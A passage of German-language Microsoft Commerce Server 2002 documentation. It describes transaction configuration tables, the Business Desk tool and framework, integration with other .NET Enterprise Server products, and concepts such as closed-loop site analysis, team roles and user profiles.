 Enthält die Adressen, die in einer Auftragsgruppe enthalten sind.
TransCategory
 Enthält die Tabellen, die die DTS-Transaktions-Task überträgt.
TransDimension
 Enthält die Spalten, die die DTS auf der Benutzeroberfläche speichert. Schlüsselfelder werden standardmäßig übertragen und nicht auf der Benutzeroberfläche angezeigt. Anhand der RequiredDim-Spalte wird die Standardspaltenauswahl auf der Benutzeroberfläche festgelegt.
UserFilter
 Enthält den Benutzersuchstatus für Kunden- und Partnerservice.

Siehe auch

Sichern der Transaktionsdatenbank


Transaktionskonfigurations-Datenbanktabellen

Die folgenden Transaktionskonfigurationstabellen befinden sich in der Datenbank, auf die von der Transaktionskonfigurationssiteressource verwiesen wird. Detaillierte Informationen zur Sicherung dieser Tabellen finden Sie unter Sichern der Transaktionskonfigurationsdatenbank.

Hinweis

  • Diese Tabellen sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden beschrieben.
Tabellenname Beschreibung
CatalogCache_Virtual_Directory
 Enthält eine Liste der Anwendungen, die einen Zwischenspeicher auf der Grundlage von Kataloginformationen verwenden. Diese Tabelle wird von Servern in einer Webfarm verwendet, um bekannt zu geben, dass Kataloginformationen für Business Desk zwischengespeichert werden.
Decode
 Decodiert Codes (z. B. 1=Warenkorb; 2=Vorlage; 3=Auftrag).
Region
 Enthält Namen und Codes für Land/Region und Bundesland/Kanton.
RegionalTax
 Enthält Steuersätze für die Pipelinekomponente SampleRegionalTax.
ShippingConfig
 Enthält Informationen zu verfügbaren Versandarten.
TableShippingRates
 Enthält Versandkosteninformationen für die Pipelinekomponente StepwiseShipping.
TxVirtual_Directory
 Enthält eine Liste der Anwendungen, die Versand- und Steuerzwischenspeicher verwenden. Wird von Servern in einer Webfarm verwendet, um Business Desk seine Zwischenspeicher bekannt zu geben.

Siehe auch

Sichern der Transaktionskonfigurationsdatenbank


Business Desk-Architektur

Commerce Server Business Desk ist ein webbasiertes Siteverwaltungstool, das im Lieferumfang von Commerce Server 2002 enthalten ist. Business Desk dient als Host für die Geschäftsmanagementmodule, mit deren Hilfe Sie Ihre Sites konfigurieren, verwalten und analysieren können. Mit den Business Desk-Modulen lassen sich beispielsweise Preisinformationen in Ihren Katalogen aktualisieren und neue Anzeigen zielgerichtet bestimmten Benutzern anzeigen. Anschließend können Sie Berichte ausführen, die den Einfluss dieser Änderungen auf die Produktivität der Site messen.

Business Desk besteht aus zwei Teilen: der Business Desk-Anwendung und dem Business Desk Client.

  • Business Desk-Anwendung. Diese Anwendung ist das Managementtool, das Sie zum Konfigurieren, Verwalten und Analysieren Ihrer Site einsetzen. Auf Business Desk kann von einem beliebigen Computer mit Microsoft Internet Explorer 5.5 zugegriffen werden. So erhalten Sie sicheren Remotezugriff.

    Business Desk-Anwendungen sind nur in Lösungssitepaketen verfügbar. Nach der Installation von Commerce Server müssen Sie eine Lösungssite entpacken, mit deren Hilfe sich eine Business Desk-Anwendung installieren lässt. Wenn Sie über eine vorhandene Site verfügen und Business Desk zur Verwaltung dieser Site verwenden möchten, müssen Sie eine Lösungssite entpacken, um die Business Desk-Anwendung zu erhalten, und anschließend die Anwendung ändern.

  • Business Desk Client. Dies ist die Clientsoftware, die Sie auf einem lokalen Computer installieren. Der Client stellt die Oberfläche für den Zugriff auf die Business Desk-Anwendung bereit. Beim ersten Zugriff auf die Business Desk-Anwendung (über einen URL) wird der Business Desk-Client gedownloadet und auf dem Computer installiert. Für den Computer, auf dem der Business Desk Client ausgeführt werden soll, empfiehlt sich eine schnelle Verbindung zur Business Desk-Anwendung.

Die folgende Abbildung zeigt, wie Sie Business Desk Clients für Remotezugriffe auf die Business Desk-Anwendung verwenden können, um Ihre Website zu aktualisieren.

Zugriff des Business&nbsp;Desk Client auf die Business Desk-Anwendung

Dieser Abschnitt beinhaltet folgende Themen:

  • Business Desk-Module und -Kategorien
  • Business Desk Framework


Business Desk-Module und -Kategorien

Mithilfe von Modulen, den Hauptkomponenten von Commerce Server Business Desk, können Sie die unterschiedlichen Aspekte Ihrer Site verwalten. In der folgenden Tabelle sind die Business Desk-Module und die Kategorien, in denen die Module enthalten sind, aufgeführt. Außerdem werden die Aufgaben beschrieben, die mit den Modulen durchgeführt werden können.

Modul/Kategorie | Beschreibung
Analyse Berichte Abgeschlossene Berichte | Ausführen und Überprüfen von Berichten über die Siteaktivität. Die Analysemodule enthalten einen umfangreichen Satz an Berichten, die unterschiedliche Aspekte Ihrer Site berücksichtigen.
Kampagnen Kampagnen-Manager Listen-Manager Kampagnenausdrücke Zielgruppen Referenztabellen Kampagnenveröffentlichung | Erstellen und Planen von Marketingkampagnen. Hinzufügen von Kundeninformationen und Verwalten von Kampagnen und Kampagnenartikeln wie z. B. beim Erstellen von Anzeigenbannern, bei Direct Mailer-Aufträgen oder Preisnachlassaktionen. Jeder Kampagnenartikel kann sich zielgerichtet an bestimmte Benutzer wenden. Dies ermöglicht ein hochpersonalisiertes Erlebnis für den Benutzer.
Kataloge Katalogdefinitions-Designer Katalog-Editor Katalogsätze | Importieren von Katalogen, Erstellen von Katalogen, Hinzufügen und Festlegen von Preisen für Produkte. Erstellen von Katalogen mit Sonderpreisen, die nur bestimmten Benutzern angeboten werden, z. B. Mitgliedern eines Clubs.
Bestellungen Warenkorb-Manager Bestellstatuscodes Standortcodes Bestellstatus Versandarten Steuersätze Transaktionsveröffentlichung | Durchsuchen der Commerce Server-Datenbank nach vorhandenen Bestellinformationen. Hinzufügen, Löschen und Ändern von Bestellinformationen. Hinzufügen, Löschen und Ändern von Versandkosten.
Benutzer Benutzer Organisationen Profildefinitions-Designer Sitebegriffs-Editor Profilveröffentlichung | Erstellen und Ändern von Benutzern, Organisationen und Profilen. Erstellen und Ändern von Sitebegriffen.

Siehe auch

Arbeiten mit Business Desk


Business Desk Framework

Commerce Server Business Desk ist ein Benutzeroberflächen-Framework, das hauptsächlich in Form von Active Server Pages (ASP) implementiert ist und Dynamic Hypertext Markup Language (DHTML) enthält. Dieses Framework bietet eine strukturierte Umgebung, in der Entwickler von Drittanbietern die in Commerce Server 2002 enthaltenen Verwaltungsfunktionalitäten leicht erweitern können. Die Umgebung beinhaltet eine strukturierte Seitennavigation, Standardmechanismen zur Datenmanipulation, gemeinsam genutzte Dienstprogrammroutinen und eine Vielzahl von Konventionen, die ein in sich stimmiges Benutzererlebnis sicherstellen helfen.

Jede Commerce Server-Website verfügt über eine spezifische Instanz von Business Desk, mit der sie verknüpft ist. Obwohl Business Desk und die Website gemeinsam dieselben Commerce-Ressourcen (z. B. verschiedene Datenbanken) verwenden, ist Business Desk dennoch eine separate ASP-Anwendung mit eigener Verzeichnisstruktur und virtuellem Stammverzeichnis.

Das Commerce Server Business Desk Framework stellt die Umgebung bereit, in der Business Desk-Module ausgeführt werden. Die folgende Abbildung zeigt, wie eine Reihe von Konfigurationsdateien zwei wichtige Informationstypen bereitstellen, die für Business Desk zur Navigationsunterstützung benötigt werden. Der erste Typ bestimmt die Reihe der kategorisierten Module, auf die in Business Desk zugegriffen werden kann. Der zweite Typ wird zum Erstellen und Verwalten der Taskleiste verwendet, die für jede Aktionsseite verschieden ist.

Das Business Desk Framework

In der Abbildung ist auch zu sehen, dass die erste Aktionsseite von Modulen in der Regel eine Listenseite ist. Über die Listenseite kann mithilfe von Schaltflächen auf Bearbeitungsseiten zugegriffen werden. Außerdem ist zu sehen, auf welche Art der Benutzer zur Listenseite zurückkehren muss, damit er in ein anderes Modul wechseln kann.

Das Business Desk Framework hat folgende Eigenschaften:

  • Die Hauptkonfigurationsdatei liefert zusammen mit einer Reihe von Modulkonfigurationsdateien die Informationen, die Business Desk Framework zum Verwalten des Navigationsbereichs und der Taskleiste benötigt, die auf jeder Aktionsseite angezeigt wird.
  • Aktionsseiten, die schreibgeschützte Listen, so genannte Listenseiten anzeigen, werden immer zusammen mit dem Navigationsbereich angezeigt. Daher kann ein Benutzer nur aus einer Listenseite, nicht jedoch aus einer Bearbeitungsseite in ein anderes Modul wechseln. Listenseiten sind schreibgeschützt (mit der Ausnahme von Löschtasks). Es ist daher im Allgemeinen nicht nötig, Benutzern Meldungen anzuzeigen, die vor dem Verlassen von Modulen ohne vorheriges Speichern von Datenänderungen warnen.
  • Beim Navigieren durch die Aktionsseiten sollen in der Regel die Schaltflächen der Taskleiste verwendet werden. Dieser Mechanismus ermöglicht es Business Desk Framework, während des Übergangs von einer Aktionsseite zu einer anderen Dienste anzubieten. Direkte Verknüpfungen von Aktionsseiten sollte auf Schaltflächen auf den Seiten beschränkt sein.

Siehe auch

Building Business Desk Modules (englisches Thema)


CommerceServer und .NETEnterpriseServer

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server und .NET Enterprise Server

Commerce Server 2002 ist zwar ein eigenständiges Produkt, kann aber nahtlos mit anderen Produkten verwendet werden, die zusammen die Microsoft .NET Enterprise Server bilden.

Die .NET Enterprise Server sind eine Produktfamilie von Serveranwendungen zum Entwickeln, Bereitstellen und Verwalten von skalierbaren Weblösungen mit schneller Marktreife. Die .NET Enterprise Server können zum Erstellen von Systemen verwendet werden, über die Commerce Server-Sites mit Ihrem übrigen Managementinformationssystem integriert werden. Wenn Sie eine solche Integrationsstufe benötigen, können Sie eine oder mehrere der .NET-Technologien zusammen mit Commerce Server implementieren.

Folgende .NET-Technologien werden mit Commerce Server verwendet:

  • Microsoft Visual Studio .NET
  • Microsoft Content Management Server 2001 oder höher
  • Microsoft BizTalk Server 2000 und höher
  • Microsoft SQL Server 2000
  • Microsoft Application Center 2000 und höher
  • Microsoft Internet Security und Acceleration Server 2000 und höher
  • Microsoft Host Integration Server 2000


Microsoft VisualStudio.NET

Feedback zu dieser Seite senden Commerce Server 2002

Microsoft Visual Studio .NET

Mit dem .NET Application Framework von Commerce Server können Sie mithilfe der neuen Features von .NET Framework .NET-basierte Commerce Server-Anwendungen erstellen. Das .NET Application Framework von Commerce Server enthält zwei neue Ebenen auf der Commerce Server-Plattform: die Basisklassenbibliotheksebene und die Common Language Runtime-Interoperabilitätsebene. Mithilfe dieser Ebenen ist ASP.NET-Code in der Lage, Commerce Server-Dienste und -Systeme auszuführen. Wenn Sie Visual Studio .NET verwenden, können Sie auf Commerce Server-Features und Tools zugreifen, um eine Commerce Server-Anwendung zu erstellen.

Informationen zu Softwareanforderungen für die Verwendung von Visual Studio .NET zum Entwickeln einer Commerce Server-Anwendung finden Sie im Commerce Server 2002-Installationshandbuch.

Informationen zum Entwickeln einer .NET-basierten Commerce Server-Anwendung finden Sie unter Commerce Server .NET Application Framework (englisches Thema).

Informationen zum Verwenden der internationalen Beispielsite für Einzelhandelskunden zum Entwickeln Ihrer Site finden Sie unter International Retail Site (englisches Thema).

Siehe auch

Commerce Server .NET Application Framework

International Retail Site (englisches Thema)

Bereitstellen der Site


Microsoft ContentManagementServer2001 oder höher

Feedback zu dieser Seite senden Commerce Server 2002

Microsoft Content Management Server 2001 oder höher

Sie können Microsoft Content Management Server 2001 (MSCMS) und spätere Versionen zum Definieren der Seiten in MSCMS-Ordnern verwenden, wobei diese auf Vorlagen in der MSCMS-Vorlagensammlung basieren und in MSCMS-Kanäle eingegeben wurden. Der MSCMS Content Connector wird auch dazu verwendet, bestimmte Aspekte der Integration in Microsoft Commerce Server 2002 zu erreichen.

Content Management Server automatisiert den Prozess der Veröffentlichung und enthält Zeitplan, Versionskontrolle, anpassbaren Workflow, browserbasiertes Veröffentlichen und Archivieren von Features. Sie haben die Möglichkeit, Inhalt aus in Ihrem Unternehmen verwendeten Anwendungen erneut und gemeinsam zu verwenden. Ersteller von Inhalt können Inhalt ohne die Unterstützung von technischen Mitarbeitern hinzufügen und ändern.

Die Integration von Microsoft Content Management Server in Commerce Server 2002 ist nicht unmittelbar verfügbar. Diese Funktion ist in Microsoft Solution for Internet Business enthalten. Weitere Informationen zu dieser Lösung finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6064.

Hinweis

  • Die MethodSystems-Site von Content Management Server 2001 ist mit Commerce Server 2002 nicht verfügbar.

Siehe auch

Bereitstellen der Site


MicrosoftBizTalkServer2000 und höher

Feedback zu dieser Seite senden Commerce Server 2002

Microsoft BizTalk Server 2000 und höher

Commerce Server und Microsoft BizTalk Server 2000 und spätere Versionen können integriert werden. Microsoft BizTalk Server 2000 bietet eine umfassende Lösung für den elektronischen Dokumentenaustausch im Business-To-Business-Bereich und für Geschäftsprozessintegration. BizTalk Server hat die Funktion eines Geschäftsdokumentengateways zwischen Handelspartnern und verwaltet die Datenkonvertierung, die Verschlüsselung, die digitalen Signaturen und Dokumentnachverfolgungsdienste einer Vielzahl von Transportmechanismen.

Sie können Commerce Server und BizTalk Server integrieren, um z. B. Kataloge von Produkten auszutauschen, die Sie in Ihrer Website bereitstellen oder um in Ihrer Website erfasste Bestellungen an die Lieferanten zur Ausführung weiterzusenden.

Weitere Informationen zur Integration von Commerce Server und BizTalk Server finden Sie unter Integrating with BizTalk Server (englisches Thema).

Siehe auch

Integrating with BizTalk Server (englisches Thema)

Bereitstellen der Site


Microsoft SQLServer2000

Feedback zu dieser Seite senden Commerce Server 2002

Microsoft SQL Server 2000

Microsoft SQL Server 2000 stellt eine skalierbare Datenbank, die umfangreiche Analyse- und Data Warehouse-Tools mit einfacher Bedienbarkeit vereint. SQL Server bietet neben einer Entwicklungsumgebung zur Erstellung datengesteuerter Anwendungen eine reichhaltige grafische Benutzeroberfläche.

Commerce Server nutzt in einigen Schlüsselbereichen die Data Warehouse- und Analysefunktionen von SQL Server. Das Commerce Server-Data Warehouse nutzt z. B. SQL Server-Data Transformation Services (DTS), um in den SQL Server-Datenbanken gespeicherte Daten in ein Format zu transformieren, das von den Commerce Server-Ressourcen verwendet wird.

Commerce Server hängt auch bei der Katalogreplikation von SQL Server ab. Weitere Informationen dazu finden Sie unter Replizieren des Kataloginhalts.

Siehe auch

Replizieren des Kataloginhalts

Bereitstellen der Site


Microsoft ApplicationCenter2000 und höher

Feedback zu dieser Seite senden Commerce Server 2002

Microsoft Application Center 2000 und höher

Commerce Server 2002 und Microsoft Application Center 2000 und spätere Versionen können integriert werden. Application Center ist ein Bereitstellungs- und Verwaltungstool für Webanwendungen, die auf Windows 2000 aufbauen. Es erweitert die Kerngruppe der Webanwendungsdienste von Microsoft Windows 2000 (Internetinformationsdienste (IIS) 5.0, Active Server Pages (ASP), COM+, Message Queuing) und enthält eine Suite von Überwachungs-, Test- und Diagnosetools, die im Kernbetriebssystem nicht verfügbar sind. Application Center wurde für Kunden entwickelt, die höchste Anforderungen an Skalierbarkeit und Verfügbarkeit stellen.

Sie können Application Center zusammen mit Commerce Server verwenden, um Ihre Website bereitzustellen sowie um inkrementelle Aktualisierungen und Rollbacks vorzunehmen. Weitere Informationen über die Verwendung von Application Center mit Commerce Server finden Sie unter Bereitstellen der Site.

Siehe auch

Bereitstellen der Site


COM+-Dienste

Microsoft COM+-Dienste (Komponentendienste, einschließlich Microsoft Transaction Server) stellen ein vereinheitlichtes Programmiermodell dar, das zum Erstellen komponentenbasierter, dreistufig verteilter Anwendungen verwendet wird. COM+ basiert auf Microsoft Component Object Model (COM) und kombiniert COM mit Transaktionsfunktionen von Microsoft Transaction Server (MTS). Es erweitert die Programmierumgebung durch eine Reihe zusätzlicher Features, die Siteentwicklern die Entwicklung, Bereitstellung und Verwaltung von skalierbaren, verteilten, komponentenbasierten Lösungen erleichtern.


Microsoft Internet Security und Acceleration Server2000 und höher

Feedback zu dieser Seite senden Commerce Server 2002

Microsoft Internet Security und Acceleration Server 2000 und höher

Commerce Server 2002 und Microsoft Internet Security und Acceleration Server 2000 (ISA) und spätere Versionen können integriert werden. ISA ist ein erweiterter Unternehmensfirewall und Webzwischenspeicherserver, der eine leistungsstarke Sicherheit und Netzwerkbeschleunigung bietet. Es kann zum Bereitstellen der Firewalls verwendet werden, die für Sicherheitszwecke in Bereitstellungsumgebungen erforderlich sind.

Siehe auch

Sichern der Site

Bereitstellen der Site


Microsoft Host Integration Server 2000

Microsoft Host Integration Server 2000 ist eine umfassende Integrationsplattform, die Unterstützung für Internet-, Intranet- und Client/Server-Technologien bietet, die Ihre Investition in vorhandenen Systemen schützt. Da der Zugriff auf Daten lediglich der erste Schritt bei der Nutzung von Computerressourcen eines Unternehmens ist, ermöglicht der Host Integration Server Unternehmensentwicklern das Erstellen verteilter Anwendungen, welche die Client/Server- bzw. Web-Datenverarbeitung und Hostinformationen optimal nutzen.


CommerceServer-Konzepte

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Konzepte

Für den optimalen Einsatz von Commerce Server 2002 ist ein ausgezeichnetes Verständnis der zugrunde liegenden Konzepte unabdingbar.

Dieser Abschnitt beinhaltet folgende Themen:

  • Schließen der Schleife. Beschreibt die Verwendung von Commerce Server für die kontinuierliche Erfassung und Zusammenstellung von Daten über Benutzeraktivitäten in der Website, die Analyse der Daten sowie die anschließende Verwendung der Analyseergebnisse zur Aktualisierung der Site.
  • Aufgabenverteilung. Beschreibt, wie das Design von Commerce Server auf die Fähigkeiten von drei Schlüsselgruppen zugeschnitten ist: Websiteentwickler, Systemadministratoren und Businessmanager. Die Benutzeroberflächen und Tools für die einzelnen Gruppen werden hier vorgestellt.
  • Profilkonzepte. Gibt Informationen über Commerce Server-Profile, ihre Erstellung und die Verwendung bei der Websiteverwaltung.
  • Konzepte für Benutzer- und Adressenlisten. Beschreibt die Benutzer- und Adressenlisten von Commerce Server und wie diese bei der Websiteverwaltung eingesetzt werden.
  • Katalogkonzepte. Beschreibt die Commerce Server-Kataloge, ihre Verwendung bei der Websiteverwaltung, ihren Aufbau und das Auffüllen mit Produktdaten.
  • Data Warehouse-Konzepte. Beschreibt das Commerce Server-Data Warehouse, dessen Einsatz bei der Websiteverwaltung und wie es mit Daten aufgefüllt wird.
  • Pipelinekonzepte. Beschreibt Commerce Server-Pipelines und ihre Verwendung.
  • Konzepte für Zielgruppenadressierung und Personalisierung. Beschreibt die Zielgruppenadressierung und Personalisierung von Commerce Server und ihre Verwendung.
  • Kampagnenkonzepte. Beschreibt die Commerce Server-Kampagnen sowie deren Aufbau, Verarbeitung und Einsatz bei der Websiteverwaltung.
  • Anzeigenkonzepte. Beschreibt Commerce Server-Anzeigen, deren Komponenten und wie sie verarbeitet werden.
  • Preisnachlasskonzepte. Beschreibt Commerce Server-Preisnachlässe, verschiedene Arten von Preisnachlässen sowie ihre Einsatz- und Verarbeitungsmöglichkeiten.
  • Direktsendungskonzepte. Beschreibt Commerce Server-Direktsendungen und erläutert, wie Abonnementkündigungslisten verwendet und Direktsendungen verarbeitet werden können.
  • Bestellverwaltungskonzepte. Beschreibt Commerce Server-Bestellungen und erläutert, wie sie verwaltet und verarbeitet werden.
  • Internationale Lösungskonzepte. Beschreibt die Bearbeitung einer Site für ein internationales Publikum.


Schließen der Schleife

Schließen der Schleife ist ein Vorgang, bei dem Benutzerprofildaten erfasst, Marketingkampagnen an potenzielle Kunden gerichtet, die Ergebnisse dieser Kampagnen analysiert und aufgrund der gewonnenen Erkenntnisse die nächsten Änderungen implementiert werden. Diese Schleife tritt hauptsächlich auf der Geschäftsanalyseebene auf, sodass zu implementierende Änderungen durch strategische Analysen begründet sind und eine ständige integrierte Evaluierung der Leistungsfähigkeit der Site möglich ist.

Anpassung geschlossener Schleifen ist der Vorgang, bei dem mithilfe bestimmter Tools benutzerspezifische Inhalte zeitgerecht und vorausschauend präsentiert werden.

Abbildung zu Stadien des Siteverwaltungszyklus

Commerce Server 2002 liefert Ihnen eine Reihe von Features zur Verwaltung und Effizienzsteigerung der Site. Commerce Server kann für die folgenden Aufgaben eingesetzt werden:

  • Zusammenstellen und Speichern von Benutzerdaten
  • Analysieren von Benutzerdaten
  • Aktualisieren Ihrer Site
  • Umsetzen des Siteverwaltungszyklus im Team

Durch die Analyse der Benutzeraktivität in der Site können Sie Entscheidungen treffen, wie Sie die Site zum Erreichen Ihrer Geschäftsziele verbessern können.

Zusammenstellen und Speichern von Benutzerdaten

Sie können drei Arten von Daten über die Besucher Ihrer Site sammeln:

  • Explizite Profildaten. Diese Daten erhalten Sie, wenn Benutzer beim Ausfüllen von Onlineformularen, -umfragen und -abstimmungen Informationen über sich selbst zur Verfügung stellen.
  • Klickverlauf. Diese Daten erhalten Sie, wenn Benutzer Ihre Site besuchen und auf Links zu Seiten Ihrer Site klicken. Bestandteile des Klickverlaufs sind die Dauer des Aufenthalts in Ihrer Site, die Adresse der verweisenden URL, Anzahl der Anzeigenklicks, die Anzeigenreichweite, die Klickhäufigkeit sowie der "Weg", den Benutzer durch die Site nehmen, einschließlich der Eingangs- und Ausgangsseiten. Beispiel: Sie stellen Suchaktivitäten für eine bestimmte Benutzersitzung zusammen, bei der ein Benutzer 17 Minuten in der Site war, Katalogbeschreibungen von drei Katalogprodukten anzeigte, zwei davon zum Warenkorb hinzufügte, auf eine Promotionanzeige klickte und dann das entsprechende Produkt zum Warenkorb hinzufügte.
  • Transaktionsverlauf. Diese Daten erhalten Sie, wenn Benutzer Produkte kaufen. Im Transaktionsverlauf werden Warenkörbe und Bestellungen erfasst. Im Transaktionsverlauf kann beispielsweise der Benutzername, die Lieferadresse, Datum und Uhrzeit, das gekaufte Produkt sowie der Gesamtbestellwert enthalten sein.

Diese Daten werden in den Webserver-Protokolldateien und in den Commerce Server-Datenbanken gesammelt. Der Systemadministrator importiert die Daten aus den Webserver-Protokolldateien und Commerce Server-Datenbanken in regelmäßigen Abständen in das Commerce Server-Data Warehouse. Zum Data Warehouse gehört eine zentrale Datenbank, die große Datenmengen enthält. Diese werden aus einer Reihe verschiedener Datenquellen zusammengestellt. Dies können Webserver-Protokolldateien, Commerce Server-Datenbanken sowie beliebige andere Datenquellen sein.

Die folgende Abbildung zeigt, wie Benutzerdaten in Webserverprotokollen und Commerce Server-Datenbanken zusammengestellt und dann im Data Warehouse gespeichert werden.

Zusammenstellen und Speichern von Benutzerdaten.

Analysieren von Benutzerdaten

Durch die Analyse der Daten im Data Warehouse ermitteln Sie wichtige Informationen über Ihr Geschäft. Sie können erkennen, welche Produkte sich gut verkaufen. Mit Commerce Server 2002 Enterprise Edition können Sie darüber hinaus feststellen, welche Art von Benutzern Ihre Site besuchen, über welche gemeinsamen Merkmale die Benutzer verfügen, die etwas gekauft haben, und welche Werbekampagnen erfolgreich sind.

Zur Datenanalyse der Benutzeraktivitäten in Ihrer Site setzen Sie die Analysemodule von Commerce Server Business Desk ein. Benutzeraktivitäten analysieren Sie, indem Sie Berichte über das Data Warehouse.

Die folgende Abbildung zeigt, wie Sie mit Business Desk auf Daten im Data Warehouse zugreifen und dann verschiedene Analysen durchführen können.

Commerce Server bietet zwei Berichtstypen für die Analyse der Siteaktivitäten:

  • Dynamische Berichte. Diese Berichte transformieren bestimmte Daten in ein Microsoft® PivotTable®-Format, in dem Sie Spalten neu anordnen und Diagramme erstellen können.
  • Statische Berichte. Diese Berichte werden in einem Browserfenster im HTML-Format angezeigt. Sie können diese Berichte per E-Mail versenden, in Ihrer Website bereitstellen oder in anderen Anwendungen bearbeiten. Mithilfe von Microsoft Internet Explorer können Sie den Bericht z. B. als Word-Dokument exportieren und anschließend bearbeiten.

Mit Commerce Server verfügen Sie über eine Reihe von Berichten, die von Business Desk aus ausgeführt werden können, z. B. Produktverkaufsberichte und Webverwendungsberichte. Sie können einen oder mehrere dieser Berichte einsetzen. Ihr Siteentwickler kann einen Bericht auch anpassen, um damit andere Daten abzurufen. Eine vollständige Liste der in Commerce Server enthaltenen Berichte finden Sie unter Commerce Server 2002-Berichte.

Aktualisieren Ihrer Site

Ausgehend von der Analyse der Benutzerdaten können Sie Änderungen an Ihrer Site vornehmen, über die sich die Zielgruppenadressierung der Benutzer verbessern, beliebte Seiten promoten sowie das Finden häufig gekaufter Produkte vereinfachen lassen. Wenn Sie z. B. feststellen, dass alle Benutzer eine Seite anzeigen, die vier Klicks von der Homepage entfernt ist, können Sie die Site so umgestalten, dass diese häufig frequentierte Seite nur noch einen Klick entfernt liegt.

Umsetzen des Siteverwaltungszyklus im Team

Zur effektiven Implementierung des Siteverwaltungszyklus müssen Businessmanager, Siteentwickler und Systemadministrator miteinander kommunizieren und zusammenarbeiten; nur so können Aktualisierungen der Site implementiert werden. Sie sollten einen Prozess einführen, der diese Kommunikation erleichtert. Um z. B. eine Massenaktualisierung einer Vielzahl von Benutzerprofilen durchzuführen, wendet sich der Businessmanager an den Systemadministrator. Dieser führt dann diese Aufgabe durch. Um neue Funktionen zu Business Desk hinzuzufügen, z. B. ein Modul für den Verkauf von Geschenkgutscheinen, sollte sich der Businessmanager an den Siteentwickler wenden und diesem die Anforderungen mitteilen.

In vielen Organisationen arbeiten Businessmanager, Systemadministrator und Siteentwickler in verschiedenen Abteilungen, Städten oder Ländern bzw. Regionen. Daher ist der Aufbau eines effektiven Kommunikationsprozesses sowie seine regelmäßige Überprüfung von großer Bedeutung.

Eine Übersicht über die Aufgaben, die Businessmanager, Siteentwickler und Systemadministratoren typischerweise durchführen, finden Sie unter Aufgabenverteilung.

Siehe auch

Konzepte für Zielgruppenadressierung und Personalisierung

Aufgabenverteilung

Profilkonzepte

Data Warehouse-Konzepte


Aufgabenverteilung

Commerce Server 2002 bietet eine Reihe von Features und Tools für das Entwickeln, Bereitstellen und Verwalten von Websites. Die Arbeit mit Commerce Server erfordert bestimmte Fähigkeiten, die von drei Fachgebieten in einer Organisation abgedeckt werden. In der folgenden Tabelle sind die Commerce Server-Features nach den drei allgemeinen Rollen innerhalb einer Organisation gruppiert. Für jede Rolle sind im rechten Feld die erforderlichen Fähigkeiten aufgeführt.

Rolle | Benötigte Kenntnisse
Siteentwickler | Dynamic Hypertext Markup Language (DHTML), Extensible Markup Language (XML), Microsoft ActiveX Data Objects (ADO), HTML-Komponenten (HTC) und Active Server Pages (ASP)
Systemadministrator | Microsoft Windows 2000 Server, Microsoft SQL Server 2000 und Internetinformationsdienste (IIS) 5.0
Businessmanager | Geschäftsziele, -strategien und -prozesse für das Erstellen und Betreiben einer erfolgreichen E-Commerce-Website

In Ihrer Organisation überschneiden sich diese Rollen möglicherweise oder werden anders bezeichnet. Sie stehen jedoch für die drei verschiedenen Fähigkeitsbereiche, die für den Einsatz der Commerce Server-Features benötigt werden.

In der folgenden Tabelle werden die drei Rollen und Beispiele für ihre Aufgaben angegeben. Außerdem sind die Commerce Server 2002-Tools und die Hilfethemen aufgelistet, die bei der Ausführung der Aufgaben verwendet werden können.

Rolle Aufgaben Tools und Benutzeroberflächen
Siteentwickler
  • Erstellt die Website
  • Integriert die Website mit vorhandenen Systemen
  • Migriert vorhandene E-Commerce-Sites und -Datenbanken
  • Passt Commerce Server Business Desk an
  • Erstellt neue Business Desk-Module
  • Fügt neue Snap-In-Erweiterungen zu Microsoft Management Console (MMC) hinzu
  • Developer's Guide (englisch)
  • Programmer's Reference (englisches Thema)
  • Pipeline Editor (englisches Thema)
  • Pipeline Component Reference (englisches Thema)
  • Verwenden von Site Packager
Systemadministrator
  • Packt und verschiebt Sites zum Produktionscomputer
  • Konfiguriert und optimiert die Commerce Server-Ressourcen
  • Plant Data Warehouse-Importaufgaben
  • Plant Direct Mailer-Aufträge
  • Verwaltet die Commerce Server-Datenbanken
  • Beseitigt Probleme in der Websiteumgebung
  • Verwenden von Site Packager
  • Verwalten von Commerce Server
Businessmanager
  • Erstellt Spezifikationen für die Entwicklung der Website
  • Legt fest, wie die Website aktualisiert werden soll, um Geschäftsziele zu erfüllen
  • Fordert neue benutzerdefinierte Module für Business Desk an
  • Erstellt Anzeigenkampagnen
  • Verwaltet Produktkataloge
  • Analysiert Benutzeraktivitäten und die Effizienz der Site
  • Verwaltet registrierte Benutzer und Handelspartner
  • Arbeiten mit Business Desk


Profilkonzepte

Profile sind ein wesentlicher Bestandteil der Websiteverwaltung, da sie Informationen zu den Besuchern Ihrer Site und ihren Verhaltensweisen liefern. Mithilfe von Profilen analysieren Sie Benutzerdaten und stimmen Inhalte zielgerichtet auf Benutzer ab.

Ein Profil ist eine Gruppe von Eigenschaften, die ein geschäftsbezogenes Element definiert, z. B. einen Benutzer, eine Firma oder einen Kontext (Datum und Uhrzeit). So können in einem Benutzerprofil beispielsweise Eigenschaften wie Vorname, Nachname, Ort, Geschlecht, Alter und E-Mail-Adresse enthalten sein. Ein Firmenprofil kann verschiedene Eigenschaften wie Firmenname, Kontakt, Ort und E-Mail-Adresse enthalten. Ein Kontextprofil umfasst Eigenschaften wie das Datum und die Uhrzeit, zu der eine Seite angezeigt wurde, und den Pfad, über den ein Benutzer zu dieser Seite gelangt ist.

Die folgende Abbildung zeigt verschiedene Profiltypen.

Abbildung zu verschiedenen Profiltypen.

In Commerce Server verwenden Sie Profile zum Erfassen von Informationen über geschäftsbezogene Elemente. So können Sie beispielsweise Profile einsetzen, um Daten über Benutzer Ihrer Website zusammenzustellen. Unter Verwendung von Business Desk können Sie Daten auch direkt in die Benutzer- und Organisationsprofile eingeben.

Profildaten werden im Profildatenspeicher in Microsoft Active Directory und/oder SQL Server bzw. in einem beliebigen OLE DB-kompatiblen Datenspeicher gespeichert. Zur Verwaltung des Profildatenspeichers verwenden Sie die Profilressource, auf die Sie über Commerce Server-Manager zugreifen.

In Commerce Server 2002 Enterprise Edition lassen sich Daten aus dem Profildatenspeicher in das Data Warehouse exportieren. Mithilfe von Business Desk können die so zusammengestellten Profildaten analysiert werden. Um festzulegen, welche Profildaten in das Data Warehouse exportiert werden sollen, verwenden Sie die Business Desk-Profilmodule.

Hinweis
  • Das Membership-Verzeichnis von Microsoft Site Server 3.0 ist nicht Teil von Commerce Server. Informationen über die Migration von Profildaten eines Membership-Verzeichnisses auf Commerce Server finden Sie unter Aktualisieren von Site Server 3.0.

Dieser Abschnitt beinhaltet folgende Themen:

